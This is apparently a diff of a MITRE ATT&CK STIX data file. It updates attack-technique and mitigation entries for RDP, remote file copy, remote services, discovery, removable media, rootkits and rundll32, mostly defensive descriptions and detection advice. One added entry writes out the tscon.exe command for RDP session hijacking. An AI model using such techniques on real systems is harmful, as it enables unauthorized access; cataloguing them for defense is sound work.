-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+            "x_mitre_defense_bypassed": [
+                "Process whitelisting",
+                "Anti-virus"
             ],
-            "x_mitre_remote_support": false
+            "x_mitre_remote_support": false,
+            "x_mitre_platforms": [
+                "Windows"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote Desktop Protocol Mitigation",
-            "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure)",
+            "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.  (Citation: Windows RDP Sessions)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -10402,6 +11083,11 @@
                     "source_name": "Berkley Secure",
                     "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.",
                     "url": "https://security.berkeley.edu/node/94"
+                },
+                {
+                    "source_name": "Windows RDP Sessions",
+                    "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.",
+                    "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx"
                 }
             ]
         },
@@ -10410,9 +11096,9 @@
             "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:59.769Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote Desktop Protocol",
-            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.",
+            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring\n\nPermissions Required: User, Remote Desktop Users\n\nSystem Requirements: RDP service enabled, account in the Remote Desktop Users group.\n\nContributors: Matthew Demaske, Adaptforward",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10434,11 +11120,29 @@
                     "source_name": "Alperovitch Malware",
                     "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                     "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
+                },
+                {
+                    "source_name": "RDP Hijacking Korznikov",
+                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
+                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
+                },
+                {
+                    "source_name": "RDP Hijacking Medium",
+                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
+                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
+                },
+                {
+                    "source_name": "Kali Redsnarf",
+                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
+                    "url": "https://github.com/nccgroup/redsnarf"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Matthew Demaske, Adaptforward"
+            ],
             "x_mitre_data_sources": [
                 "Authentication logs",
                 "Netflow/Enclave netflow",
@@ -10449,18 +11153,7 @@
                 "Remote Desktop Users"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "RDP service enabled, account in the Remote Desktop Users group."
@@ -10470,8 +11163,8 @@
             "type": "course-of-action",
             "id": "course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote File Copy Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -10492,9 +11185,9 @@
             "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:16.408Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote File Copy",
-            "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes",
+            "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol.\n\nDetection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring\n\nPermissions Required: User\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10528,34 +11221,22 @@
                 "Network protocol analysis",
                 "Process monitoring"
             ],
+            "x_mitre_network_requirements": true,
             "x_mitre_permissions_required": [
                 "User"
             ],
-            "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote Services Mitigation",
             "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.",
             "external_references": [
@@ -10571,9 +11252,9 @@
             "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:29.858Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote Services",
-            "description": "An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials",
+            "description": "An adversary may use Valid Accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Active remote service accepting connections and valid credentials",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10593,33 +11274,21 @@
             "x_mitre_data_sources": [
                 "Authentication logs"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_system_requirements": [
                 "Active remote service accepting connections and valid credentials"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote System Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -10660,9 +11329,9 @@
             "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:28.187Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote System Discovery",
-            "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: Administrator, SYSTEM, User",
+            "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. \n\n===Windows===\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the <code>bonjour</code> protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10686,34 +11355,22 @@
                 "Process use of network"
             ],
             "x_mitre_permissions_required": [
+                "User",
                 "Administrator",
-                "SYSTEM",
-                "User"
+                "SYSTEM"
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Replication Through Removable Media Mitigation",
             "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -10764,13 +11421,17 @@
             "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:08.977Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Replication Through Removable Media",
-            "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
+            "description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Removable media allowed, Autorun enabled or vulnerability present that allows for code execution",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
                     "phase_name": "lateral-movement"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
                 }
             ],
             "external_references": [
@@ -10790,30 +11451,19 @@
             "x_mitre_permissions_required": [
                 "User"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_system_requirements": [
                 "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rootkit Mitigation",
             "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -10854,9 +11504,9 @@
             "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:26.496Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rootkit",
-            "description": "Rootkits are programs that hide the existence of malware by intercepting and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components.\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions Required: Administrator, SYSTEM, root",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10873,6 +11523,21 @@
                     "source_name": "Wikipedia Rootkit",
                     "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.",
                     "url": "https://en.wikipedia.org/wiki/Rootkit"
+                },
+                {
+                    "source_name": "Symantec Windows Rootkits",
+                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
+                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
+                },
+                {
+                    "source_name": "CrowdStrike Linux Rootkit",
+                    "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.",
+                    "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/"
+                },
+                {
+                    "source_name": "BlackHat Mac OSX Rootkit",
+                    "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.",
+                    "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf"
                 }
             ],
             "object_marking_refs": [
@@ -10894,29 +11559,21 @@
             ],
             "x_mitre_permissions_required": [
                 "Administrator",
-                "SYSTEM"
+                "SYSTEM",
+                "root"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rundll32 Mitigation",
             "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
             "external_references": [
@@ -10937,9 +11594,9 @@
             "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:06.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rundll32",
-            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No",
